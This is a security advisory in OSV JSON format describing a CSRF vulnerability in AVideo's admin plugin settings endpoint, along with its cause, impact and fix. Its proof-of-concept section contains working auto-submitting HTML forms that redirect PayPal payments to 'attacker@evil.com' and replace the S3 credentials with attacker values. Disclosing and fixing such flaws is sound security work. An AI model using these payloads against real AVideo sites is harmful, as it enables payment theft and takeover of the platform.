CVE-2026-34394: Wwbn/avideo AVideo's CSRF On Admin Plugin Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4wwr-7h7c-chqr",
  "modified" : "2026-03-31T23:15:25Z",
  "published" : "2026-03-31T23:15:25Z",
  "aliases" : [ "CVE-2026-34394" ],
  "summary" : "AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking",
  "details" : "## Summary\n\nAVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.\n\nBecause the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.\n\n## Details\n\nThe session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:\n\n```php\n// objects/include_config.php:135\nini_set('session.cookie_samesite', 'None');\n```\n\nThis means cookies are attached to all cross-origin requests, making CSRF attacks trivial.\n\nThe save endpoint in `admin/save.json.php` directly processes POST data without any token verification:\n\n```php\n// admin/save.json.php\n$pluginName = $_POST['pluginName'];\n$pluginValues = $_POST;\n// ...\n$pluginDO->$key = $pluginValues[$key];\n$p->setObject_data(json_encode($pluginDO));\n$p->save();\n```\n\nThe `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:\n\n```php\n// objects/Object.php:529\nstatic function ignoreTableSecurityCheck() {\n    return ['plugins', /* ... other tables ... */];\n}\n```\n\nEven the ORM-level protections that exist for other tables do not apply to plugin configuration writes.\n\n## Proof of Concept\n\nHost the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Loading...</title></head>\n<body>\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n    <input type=\"hidden\" name=\"pluginName\" value=\"PayPerView\" />\n    <input type=\"hidden\" name=\"paypalReceiverEmail\" value=\"attacker@evil.com\" />\n</form>\n<script>\n    document.getElementById('csrf').submit();\n</script>\n</body>\n</html>\n```\n\nTo overwrite S3 storage credentials instead:\n\n```html\n<form id=\"csrf\" method=\"POST\" action=\"https://your-avideo-instance.com/admin/save.json.php\">\n    <input type=\"hidden\" name=\"pluginName\" value=\"AWS_S3\" />\n    <input type=\"hidden\" name=\"region\" value=\"us-east-1\" />\n    <input type=\"hidden\" name=\"bucket\" value=\"attacker-bucket\" />\n    <input type=\"hidden\" name=\"key\" value=\"ATTACKER_KEY_ID\" />\n    <input type=\"hidden\" name=\"secret\" value=\"ATTACKER_SECRET\" />\n</form>\n```\n\nReproduction steps:\n\n1. Log in to AVideo as an administrator.\n2. In a separate browser tab, open the attacker's HTML page.\n3. The form auto-submits, overwriting the target plugin configuration.\n4. Verify the change by navigating to the plugin settings page in the admin panel.\n\n## Impact\n\nAn attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:\n\n- **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.\n- **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.\n- **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.\n- **Backdoor installation**: Enable and configure plugins to introduce persistent access.\n\nThis is a full platform takeover with zero user interaction beyond a single page visit.\n\n- **CWE**: CWE-352 (Cross-Site Request Forgery)\n\n## Recommended Fix\n\nAdd CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:\n\n```php\n// admin/save.json.php:10\nif (!isGlobalTokenValid()) {\n    die('{\"error\":\"Invalid CSRF token\"}');\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-4wwr-7h7c-chqr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34394"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:15:25Z",
    "nvd_published_at" : "2026-03-31T21:16:30Z"
  }
}